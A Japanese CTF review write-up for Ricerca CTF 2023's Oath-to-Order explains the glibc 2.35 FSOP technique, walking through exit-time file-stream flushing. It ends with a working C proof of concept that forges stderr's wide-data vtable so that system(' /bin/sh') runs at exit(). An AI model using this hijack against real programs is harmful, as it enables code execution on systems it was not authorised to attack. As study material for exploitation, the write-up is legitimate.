Ricerca CTF 2023 復習writeup - Oath-to-Order 前半(FSOP)
はじめに
今回はRicerca CTFのOath-to-Orderを復習したので記事にしました。最近のpwnの復習は、ソースをちゃんと追うと一日で終わんないんですよね。。。まあGWでもないとやらないのでちょうどよかったかなと。次回賞金でるCTFを見つけたときのためと思って頑張ります笑
ちなみにこの記事はm1z0r3メンバーの後輩君が書いてくれたwriteupをめちゃめちゃ参考にして書いています。ありがとうございます!
FSOP
この問題は最終的にFSOP(File Streaming Oriented Programming)という手法でシェルをとるので、まずはGlibc 2.35におけるFSOPについて整理します。
他に調べてないので知りませんが、GLibc2.35では_IO_wfile_jumps.__overflow
を使ってやるらしいです。
そこにたどり着く方法はいくつかありそうですが、この問題では最後に(また)exit()
をトリガーにシェルを起動するのでその前提で整理していきます。
まず、exit()
の処理をGDBで追っていくと、exit => __run_exit_handlers => _IO_cleanup => _IO_flush_all_lockp
という順で_IO_flush_all_lockp
にたどり着きます。
ここからはソースコードも見ていきましょう。
int _IO_flush_all_lockp (int do_lock) { . . for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { . . if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; . .
fp
には_IO_list_all
から、_IO_2_1_stderr_
, _IO_2_1_stdout_
, _IO_2_1_stdin_
が代入されます。これらはFILE
構造体のポインタで定義されていますが、実体はFILE
構造体と_IO_jump_t
というvtableの構造体を組み合わせた構造体(_IO_FILE_plus
)になっています。ちなみにstderr
などのグローバル変数は_IO_2_1_stderr_
へのポインタになってたりします(ただしFILE *
で宣言されている)。この後、この構造体のメンバがたくさん出てくるので、複数タブでFile
構造体と_IO_jump_t
構造体のメンバを見ながら読むことをお勧めします。
struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };
そのうえで、ここではFILE
構造体のポインタとして使われているので、1つ目のメンバであるfile
を操作しています。その後を見ると、if文の条件を満たしたときに_IO_OVERFLOW
マクロが呼ばれます。ちなみに条件はこんな感じです。
- (
fp->mode <= 0
かつfp->_IO_write_ptr > fp->_IO_write_base
)または(fp->mode > 0
かつfp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
)
攻撃のトリガーとなる_IO_OVERFLOW
マクロを追ってみます。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) # define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset)))
要するにfp->vtable->__overflow()
を呼び出しているって感じですね。GDBで追うと_IO_2_1_stderr_.vtable->__overflow
にはデフォルトでは_IO_new_file_overflow()
が入っています。ここを_IO_wfile_overflow
に書き換えておくことで攻撃につなげられます。_IO_wfile_overflow
関数を見てみましょう。
wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { /* Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == 0) { _IO_wdoallocbuf (f); . .
攻撃をトリガーするのは_IO_wdoallocbuf (f)
です。ここでの条件は、
- (
f->flags & (_IO_NO_WRITES | _IO_CURRENTLY_PUTTING (= 0x808)) == 0
)かつ(f->_wide_data->_IO_write_base == 0
)
です(FLAGの値一覧)。では_IO_wdoallocbuf()
を見ていきましょう。
void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
トリガーは_IO_WDOALLOCATE (fp)
マクロです。ここの条件は、
- (
fp->_wide_data->_IO_buf_base == 0
)かつ(fp->_flags & _IO_UNBUFFERED(=0x2) == 0
)
です。_IO_WDOALLOCATE(FP)
マクロの処理を追うのは大変ですが一応紹介します(ここからたどれます)
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP) #define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS) #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \ (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \ + offsetof(TYPE, MEMBER))) #define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
丁寧に追っていくとfp->_wide_data->_wide_vtable->__doallocate(fp)
だとわかります。_wide_data
はstruct _IO_wide_data
という構造体なので、ここで紹介してきます。
上記の__doallocate
ですが、呼び出し時に一切の書き換え検知機構がないことが今までの流れで分かるかと思います。つまり、攻撃時は偽のvtableを用意し、_IO_2_1_stderr_
内の_wide_data
を偽のstruct _IO_wide_data
構造体に書き換え、その書き換えた_wide_data->_wide_vtable
もvtable.__doallocate = system
になっている偽の構造体にすり替えることで、検知されることなくシェル起動に持っていけます。ちなみに引数はfp
なので、((FILE *)fp)->flags
に"/bin/sh"
を書き込んでおく必要があります。ただし、このままだと今まで出てきた条件を満たせません。
ここで、いったん _IO_flush_all_lockp()
後の条件を確認しましょう。
if (fp->mode <= 0 & fp->_IO_write_ptr > fp->_IO_write_base || fp->mode > 0 & fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if (fp->flags & 0x80a == 0 & fp->_wide_data->_IO_write_base == 0 & fp->_wide_data->_IO_buf_base == 0) fp->_wide_data->_wide_vtable->__doallocate(fp)
fp->flags
は引数も入れないといけないしどうすんだと思っていたんですが、fp->flags
にスペース文字(Asciiで0x20
)を2文字分入れた" /bin/sh"を書き込めば
条件を解決できます(後輩君のwriteup見てなるほど~となりました)。他の条件はそのまま満たすように値を調整し、実装してみた例がこちらです。
#include <stdio.h> #include <stdlib.h> typedef struct { FILE file; void *vtable; } _IO_FILE_plus; typedef struct{ char other_pointer_padding[8*13]; void* __doallocate; } _IO_jump_t; typedef struct { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; //struct _IO_codecvt _codecvt; char _codecvt[112]; //struct _IO_codecvtの代わり wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; }_IO_wide_data; int main() { char *binsh = " /bin/sh"; _IO_wide_data* fake_wide_data = malloc(sizeof( _IO_wide_data)); _IO_jump_t* fake_wide_vtable = malloc(sizeof( _IO_jump_t)); *(long*)(&((_IO_FILE_plus*)stderr)->file._flags) = *(long*)binsh; ((_IO_FILE_plus*)stderr)->file._IO_read_ptr = *(long*)(binsh+8); //_flagにコピーでき なかった残りを隣の領域にコピー ((_IO_FILE_plus*)stderr)->file._mode = 1; ((_IO_FILE_plus*)stderr)->file._wide_data = fake_wide_data; ((_IO_FILE_plus*)stderr)->vtable = (void*)stderr - (void*)0x45e0; //_IO_wfile_jumps>へのオフセット fake_wide_data->_IO_write_base = 0; fake_wide_data->_IO_write_ptr = 1; fake_wide_data->_IO_buf_base = 0; fake_wide_data->_wide_vtable = fake_wide_vtable; fake_wide_vtable->__doallocate = &system; exit(0); return 0; }
このコードを実行すると、exit()
実行時にシェルが起動します。この後のOath-to-Orderでは最終的にこの状態を目指して進んでいきます。